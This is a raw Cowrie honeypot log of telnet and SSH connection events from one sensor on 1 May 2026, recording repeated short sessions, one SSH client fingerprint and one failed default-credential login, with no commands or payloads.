{"eventid":"cowrie.session.closed","duration":120.00116515159607,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:59:53.525408Z","src_ip":"46.139.57.28","session":"af38d028ce80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.139.57.28","src_port":55640,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1dbd27513f2","protocol":"telnet","message":"New connection: 46.139.57.28:55640 (159.203.135.109:23) [session: c1dbd27513f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:59:53.872665Z"}
{"eventid":"cowrie.session.closed","duration":30.99241304397583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:59:55.068519Z","src_ip":"161.97.181.240","session":"6b8f7e9a73f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":55974,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c2c9818ffa4","protocol":"telnet","message":"New connection: 161.97.181.240:55974 (10.17.0.5:23) [session: 4c2c9818ffa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:59:55.421904Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":46146,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba38911ff879","protocol":"telnet","message":"New connection: 45.63.42.31:46146 (10.17.0.5:23) [session: ba38911ff879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:59:56.206813Z"}
{"eventid":"cowrie.session.closed","duration":30.91941213607788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:59:56.213570Z","src_ip":"161.97.181.240","session":"0d3606fc9780","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":40248,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd6921b0890a","protocol":"telnet","message":"New connection: 173.198.194.106:40248 (10.17.0.5:23) [session: dd6921b0890a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:59:58.011748Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":41788,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e279f5af03e","protocol":"telnet","message":"New connection: 161.97.181.240:41788 (10.17.0.5:23) [session: 8e279f5af03e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:59:59.434858Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":42604,"dst_ip":"10.17.0.5","dst_port":23,"session":"44418686f77c","protocol":"telnet","message":"New connection: 173.198.194.106:42604 (10.17.0.5:23) [session: 44418686f77c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:59:59.636730Z"}
{"eventid":"cowrie.session.closed","duration":31.587042093276978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:03.651157Z","src_ip":"161.97.181.240","session":"9a8f8351676e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.20201086997986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:04.997705Z","src_ip":"161.97.181.240","session":"5ab4a2b096c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7118980884552,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:05.058992Z","src_ip":"161.97.181.240","session":"cc7985bb5fce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.661247968673706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:06.090528Z","src_ip":"161.97.181.240","session":"e2a34212fa54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.990323066711426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:07.047481Z","src_ip":"161.97.181.240","session":"92a377fb43e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":46576,"dst_ip":"10.17.0.5","dst_port":23,"session":"eaf19c5fabb4","protocol":"telnet","message":"New connection: 173.198.194.106:46576 (10.17.0.5:23) [session: eaf19c5fabb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:07.541002Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":48314,"dst_ip":"10.17.0.5","dst_port":23,"session":"4074e0aa6361","protocol":"telnet","message":"New connection: 173.198.194.106:48314 (10.17.0.5:23) [session: 4074e0aa6361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:07.820046Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":49234,"dst_ip":"10.17.0.5","dst_port":23,"session":"edbff071e95c","protocol":"telnet","message":"New connection: 173.198.194.106:49234 (10.17.0.5:23) [session: edbff071e95c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:08.084006Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":38270,"dst_ip":"10.17.0.5","dst_port":23,"session":"04855941137d","protocol":"telnet","message":"New connection: 161.97.181.240:38270 (10.17.0.5:23) [session: 04855941137d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:08.132358Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":38330,"dst_ip":"10.17.0.5","dst_port":23,"session":"f270bb344477","protocol":"telnet","message":"New connection: 161.97.181.240:38330 (10.17.0.5:23) [session: f270bb344477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:08.146339Z"}
{"eventid":"cowrie.session.closed","duration":33.835171699523926,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:11.848713Z","src_ip":"45.63.42.31","session":"34d570628a45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":53964,"dst_ip":"10.17.0.5","dst_port":23,"session":"352329895040","protocol":"telnet","message":"New connection: 173.198.194.106:53964 (10.17.0.5:23) [session: 352329895040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:13.926815Z"}
{"eventid":"cowrie.session.closed","duration":30.367457628250122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:14.209396Z","src_ip":"161.97.181.240","session":"f8d70ae14873","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.667307138442993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:14.433824Z","src_ip":"161.97.181.240","session":"fe8c7094a907","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.435870885849,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:15.028501Z","src_ip":"161.97.181.240","session":"e3c98a2e6f5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.57914590835571,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:15.604985Z","src_ip":"103.115.172.252","session":"ffe37c4c66b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.873900651931763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:16.075758Z","src_ip":"161.97.181.240","session":"42e71e1d6eac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":51944,"dst_ip":"10.17.0.5","dst_port":23,"session":"e614ff35c04f","protocol":"telnet","message":"New connection: 161.97.181.240:51944 (10.17.0.5:23) [session: e614ff35c04f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:20.861936Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":52326,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b6f177d40a0","protocol":"telnet","message":"New connection: 161.97.181.240:52326 (10.17.0.5:23) [session: 4b6f177d40a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:20.957393Z"}
{"eventid":"cowrie.session.closed","duration":30.88512945175171,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:20.993508Z","src_ip":"161.97.181.240","session":"9b168b3b6523","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.737409353256226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:21.017613Z","src_ip":"161.97.181.240","session":"491c11195614","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":46010,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3f178128497","protocol":"telnet","message":"New connection: 45.63.42.31:46010 (10.17.0.5:23) [session: d3f178128497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:21.834229Z"}
{"eventid":"cowrie.session.closed","duration":37.25433707237244,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:22.219685Z","src_ip":"45.63.42.31","session":"5a0a783c15e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.531372547149658,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:23.247525Z","src_ip":"161.97.181.240","session":"e3369c49a08b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":60426,"dst_ip":"10.17.0.5","dst_port":23,"session":"80595076c884","protocol":"telnet","message":"New connection: 161.97.181.240:60426 (10.17.0.5:23) [session: 80595076c884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:23.376630Z"}
{"eventid":"cowrie.session.closed","duration":31.020697116851807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:24.237018Z","src_ip":"161.97.181.240","session":"7bece3cb2afd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":46006,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5f9d55f221e","protocol":"ssh","message":"New connection: 191.255.52.36:46006 (159.203.135.109:22) [session: a5f9d55f221e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:25.333591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:25.338786Z","src_ip":"191.255.52.36","session":"a5f9d55f221e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":39578,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c0130960601","protocol":"telnet","message":"New connection: 161.97.181.240:39578 (10.17.0.5:23) [session: 1c0130960601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:25.470759Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:25.526791Z","src_ip":"191.255.52.36","session":"a5f9d55f221e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.670625686645508,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:26.092421Z","src_ip":"161.97.181.240","session":"4c2c9818ffa4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"987654321","message":"login attempt [test/987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:26.118558Z","src_ip":"191.255.52.36","session":"a5f9d55f221e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":36406,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d713c94fcdb","protocol":"telnet","message":"New connection: 173.198.194.106:36406 (10.17.0.5:23) [session: 7d713c94fcdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:26.474419Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":44276,"dst_ip":"10.17.0.5","dst_port":23,"session":"9559d9994623","protocol":"telnet","message":"New connection: 161.97.181.240:44276 (10.17.0.5:23) [session: 9559d9994623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:26.850421Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:27.259525Z","src_ip":"191.255.52.36","session":"a5f9d55f221e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.739712953567505,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:28.663927Z","src_ip":"45.63.42.31","session":"ac7d6eb74660","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99727511405945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:29.008932Z","src_ip":"173.198.194.106","session":"dd6921b0890a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.20245933532715,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:30.409167Z","src_ip":"45.63.42.31","session":"ba38911ff879","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":39576,"dst_ip":"10.17.0.5","dst_port":23,"session":"57da15701538","protocol":"telnet","message":"New connection: 173.198.194.106:39576 (10.17.0.5:23) [session: 57da15701538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:30.489599Z"}
{"eventid":"cowrie.session.closed","duration":31.37243103981018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:30.807210Z","src_ip":"161.97.181.240","session":"8e279f5af03e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.249426126480103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:30.886066Z","src_ip":"173.198.194.106","session":"44418686f77c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":40926,"dst_ip":"10.17.0.5","dst_port":23,"session":"6861af15a48b","protocol":"telnet","message":"New connection: 173.198.194.106:40926 (10.17.0.5:23) [session: 6861af15a48b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:32.017991Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":42214,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f7c5bf3814a","protocol":"telnet","message":"New connection: 161.97.181.240:42214 (10.17.0.5:23) [session: 2f7c5bf3814a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:34.467345Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":52264,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cc5e68ce539","protocol":"telnet","message":"New connection: 161.97.181.240:52264 (10.17.0.5:23) [session: 6cc5e68ce539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:37.329158Z"}
{"eventid":"cowrie.session.closed","duration":30.37831139564514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:38.198026Z","src_ip":"173.198.194.106","session":"4074e0aa6361","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.663418769836426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:38.204288Z","src_ip":"173.198.194.106","session":"eaf19c5fabb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":46864,"dst_ip":"10.17.0.5","dst_port":23,"session":"856724064b10","protocol":"telnet","message":"New connection: 173.198.194.106:46864 (10.17.0.5:23) [session: 856724064b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:38.756819Z"}
{"eventid":"cowrie.session.closed","duration":30.918468952178955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:39.064677Z","src_ip":"161.97.181.240","session":"f270bb344477","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.974234342575073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:39.106463Z","src_ip":"161.97.181.240","session":"04855941137d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.193100690841675,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:39.276802Z","src_ip":"173.198.194.106","session":"edbff071e95c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":42938,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7ccddf20cd4","protocol":"telnet","message":"New connection: 161.97.181.240:42938 (10.17.0.5:23) [session: e7ccddf20cd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:42.859020Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":43470,"dst_ip":"10.17.0.5","dst_port":23,"session":"43bd11db6987","protocol":"telnet","message":"New connection: 161.97.181.240:43470 (10.17.0.5:23) [session: 43bd11db6987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:43.016534Z"}
{"eventid":"cowrie.session.closed","duration":30.298563241958618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:44.225230Z","src_ip":"173.198.194.106","session":"352329895040","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":51346,"dst_ip":"10.17.0.5","dst_port":23,"session":"327c23306ace","protocol":"telnet","message":"New connection: 173.198.194.106:51346 (10.17.0.5:23) [session: 327c23306ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:44.326716Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":55078,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9e6993ad723","protocol":"telnet","message":"New connection: 45.63.42.31:55078 (10.17.0.5:23) [session: d9e6993ad723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:44.438647Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":56500,"dst_ip":"10.17.0.5","dst_port":23,"session":"b29ffe006d5d","protocol":"telnet","message":"New connection: 161.97.181.240:56500 (10.17.0.5:23) [session: b29ffe006d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:46.555270Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":34898,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2397818c2d4","protocol":"telnet","message":"New connection: 45.63.42.31:34898 (10.17.0.5:23) [session: e2397818c2d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:49.234096Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":55700,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ae96ee85758","protocol":"telnet","message":"New connection: 173.198.194.106:55700 (10.17.0.5:23) [session: 8ae96ee85758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:49.866712Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":42536,"dst_ip":"10.17.0.5","dst_port":23,"session":"1aab0c8a0f44","protocol":"telnet","message":"New connection: 161.97.181.240:42536 (10.17.0.5:23) [session: 1aab0c8a0f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:50.697690Z"}
{"eventid":"cowrie.session.closed","duration":30.17894172668457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:51.040773Z","src_ip":"161.97.181.240","session":"e614ff35c04f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":44190,"dst_ip":"10.17.0.5","dst_port":23,"session":"2db349912d9e","protocol":"telnet","message":"New connection: 161.97.181.240:44190 (10.17.0.5:23) [session: 2db349912d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:51.221784Z"}
{"eventid":"cowrie.session.closed","duration":31.046114921569824,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:52.003384Z","src_ip":"161.97.181.240","session":"4b6f177d40a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62670660018921,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:54.003228Z","src_ip":"161.97.181.240","session":"80595076c884","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":56720,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bff56fd37a4","protocol":"telnet","message":"New connection: 173.198.194.106:56720 (10.17.0.5:23) [session: 8bff56fd37a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:54.078067Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":56476,"dst_ip":"10.17.0.5","dst_port":23,"session":"da9b1602c994","protocol":"telnet","message":"New connection: 161.97.181.240:56476 (10.17.0.5:23) [session: da9b1602c994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:54.707322Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":59278,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4d97595f239","protocol":"telnet","message":"New connection: 173.198.194.106:59278 (10.17.0.5:23) [session: f4d97595f239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:55.345919Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":35004,"dst_ip":"10.17.0.5","dst_port":23,"session":"72e8d149fb07","protocol":"telnet","message":"New connection: 161.97.181.240:35004 (10.17.0.5:23) [session: 72e8d149fb07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:56.631055Z"}
{"eventid":"cowrie.session.closed","duration":31.20460605621338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:56.675209Z","src_ip":"161.97.181.240","session":"1c0130960601","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.165987730026245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:57.016265Z","src_ip":"161.97.181.240","session":"9559d9994623","protocol":"telnet"}
